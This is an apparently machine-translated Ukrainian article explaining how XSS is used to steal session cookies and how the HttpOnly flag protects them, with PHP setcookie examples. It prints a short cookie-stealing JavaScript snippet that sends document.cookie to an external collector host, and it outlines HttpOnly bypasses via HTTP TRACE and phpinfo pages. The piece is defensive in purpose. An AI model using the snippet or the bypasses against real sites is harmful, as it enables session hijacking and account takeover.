З появою www-сервісів все більше додатків перейшли на B/S-структури, тож різноманітні веб-сервіси можна отримувати лише одним браузером, але це також дедалі більше призводить до проблем із веб-безпекою. www сервіс базується на протоколі HTTP, Http є безстанним протоколом, тому для передачі інформації між сесіями неминуче використовувати файли cookie або sessions та інші технології для позначення стану відвідувача, і незалежно від того, чи це файл cookie, чи сесія, зазвичай реалізується за допомогою cookie (Сесія фактично позначається токеном у cookie браузера, Сервер отримує цей токен, перевіряє легітимність і прив'язує відповідний стан, збережений на сервері, до браузера), так що він неминуче безпечно зосереджується на кукі; поки це куки отримано, можна отримати ідентичність інших, що є чудовою річчю для порушників, особливо якщо отримане куки належить особі з високими привілеями, наприклад адміністратору, шкода ще більша. Серед різних проблем веб-безпеки вразливість XSS є особливо небезпечною.
Для додатків, якщо виникає вразливість XSS, це означає, що інші можуть виконувати довільні JS-скрипти у вашому браузері, і якщо додаток відкритий або функції публічні, інші можуть використовувати Ajax для їх використання, але процес часто є громіздким, особливо якщо ви хочете безпосередньо отримати чужу особу для випадкового перегляду. Для невідкритих додатків, таких як веб-фон деяких великих сайтів (важливою особливістю web2.0 є велика кількість взаємодій, користувачам часто доводиться взаємодіяти з адміністраторами у фоновому режимі, наприклад, звіти про баги, доставка інформації тощо), хоча через наявність взаємодії можуть виникати вразливості крос-сайтового скриптингу, але через відсутність розуміння фону неможливо створити ідеальний ajax-код для використання, навіть якщо можна отримати фоновий код і повернути його для аналізу за допомогою js, але процес також є громіздким і не прихованим. На даний момент дуже ефективно використовувати вразливість xss для отримання файлів cookie або захоплення сесії, конкретно аналізувати автентифікацію додатку, потім застосовувати певні методи і навіть назавжди отримати ідентифікацію іншої сторони, навіть якщо інша сторона виходить із програми.
Отже, як отримати захоплення cookie або session hihacking? В об'єкті документа в браузері зберігається інформація про файли cookie, і файл cookie можна отримати за допомогою js; якщо ви отримаєте це кукі, можете мати чужу особу. Типовий оператор атаки XSS виглядає так:
- xss exp:
- url=document.top.locatio去掉n.href;
- cookie=document.cookie;
- c=new Image();
- c.src=’<a target="_blank">http://www.xxx.net/c.php?c=</a>’+cookie+’&u=’+url;
Деякі застосунки можуть застосовувати техніки прив'язки до браузера для вирішення цієї проблеми, наприклад, прив'язувати файли cookie до user-agent браузера, і вважати файл cookie недійсним після його виявлення. Цей метод виявився неефективним, бо коли зловмисник краде печиво, він має отримати агента користувача одночасно. Існує ще один суворий режим, який прив'язує cookies до Remote-addr (насправді він прив'язаний до IP, але деякі програми мають проблеми з методом отримання IP, що також призводить до економії), але це призводить до дуже поганого користувацького досвіду, зміна IP — поширена справа, наприклад, у роботі та домі по 2 IP, тому цей метод часто не застосовується. Тому атаки на основі файлів cookie зараз дуже популярні, і легко отримати статус адміністратора додатку на деяких сайтах веб-2.0.
Як нам зберегти безпеку наших чутливих файлів cookie? Завдяки наведеному вище аналізу загальні файли cookie отримуються з об'єктів документів, і нам просто потрібно зробити чутливі файли cookie невидимими в документі браузера. На щастя, браузери тепер зазвичай приймають параметр HttpOnly при встановленні cookie, так само як і інші параметри, наприклад домен, після встановлення цього HttpOnly файл cookie не буде бачити в об'єкті документа браузера, і браузер жодним чином не зазнає впливу під час перегляду, оскільки файл cookie надсилається у заголовку браузера (включаючи ajax). Додатки зазвичай не використовують ці чутливі файли cookie в js, ми використовуємо HttpOnly для деяких чутливих файлів cookie і не встановлюємо деякі файли cookie, які потрібно використовувати з js, у додатку, що забезпечує безпеку інформації про файли cookie та застосунок. Для отримання додаткової інформації про HttpOnly див. http://msdn2.microsoft.com/en-us/library/ms533046.aspx.
Заголовок для налаштування файлів cookie у вашому браузері виглядає так:
- Set-Cookie: =[; =]
- [; expires=][; domain=]
- [; path=][; secure][; HttpOnly]
Візьмемо php як приклад, підтримка HttpOnly додана до функції Setcookie у php 5.2, наприклад:
setcookie ("abc","test", NULL,NULL,NULL,NULL,NULL,TRUE);
Ви можете встановити файл cookie abc як HttpOnly, і документ не буде видимий для цього файлу. Оскільки функція setcookie по суті є заголовком, ви також можете використовувати заголовок для встановлення HttpOnly. Потім використовуйте document.cookie, щоб переконатися, що цей файл cookie більше недоступний. Ми використовуємо цей метод для захисту Sessionid, наприклад, деякі файли автентифікації для автентифікації, щоб не турбуватися про отримання ідентифікації, що має велике значення для деяких фонових програм і веб-пошти для підвищення безпеки. Коли ми знову використовуємо наведений вище метод атаки, ми бачимо, що більше не можемо отримувати чутливі файли cookie, які ми встановили як HttpOnly.
Однак також видно, що HttpOnly не є всемогутнім, по-перше, він не може вирішити проблему xss, все ще не може протистояти атаці деяких терплячих хакерів, не може заборонити зловмисникам робити ajax-повідомлення, і навіть з'явилися деякі xss-проксі, але вдалося підвищити поріг атак, принаймні xss-атаки не виконуються кожним скрипт-кідком, а інші методи атак пов'язані з певними екологічними та технічними обмеженнями. Це не так поширено, як крадіжка печива.
HttpOnly також може експлуатувати деякі вразливості або налаштовувати Bypass, головна проблема в тому, що якщо ви отримуєте заголовок cookie, який надісла браузером. Наприклад, попередня атака Http Trace може повернути cookie у вашому заголовку, і цю атаку можна завершити за допомогою ajax або flash, які також були виправлені в ajax і flash. Ще один помітний приклад можливого обходу конфігурації чи додатку — phpinfo: як ви знаєте, phpinfo відображає http-заголовок, надісланий браузером, включаючи інформацію про автентифікацію, яку ми захищаємо, і ця сторінка часто існує на різних сайтах, якщо ви використовуєте ajax для отримання сторінки phpinfo, а для отримання файлу cookie вилучаєте частину, що відповідає заголовку. Недоліки в деяких додатках також можуть призводити до витоку заголовків, який можна атакувати так само, як і сторінку, захищену базовою перевіркою.
HttpOnly краще підтримується в IE 6 і вище, широко використовується в таких застосунках, як Hotmail, і досяг відносно хороших результатів у сфері безпеки.
|
Опубліковано 03.06.2015 20:57:48
|
|
|
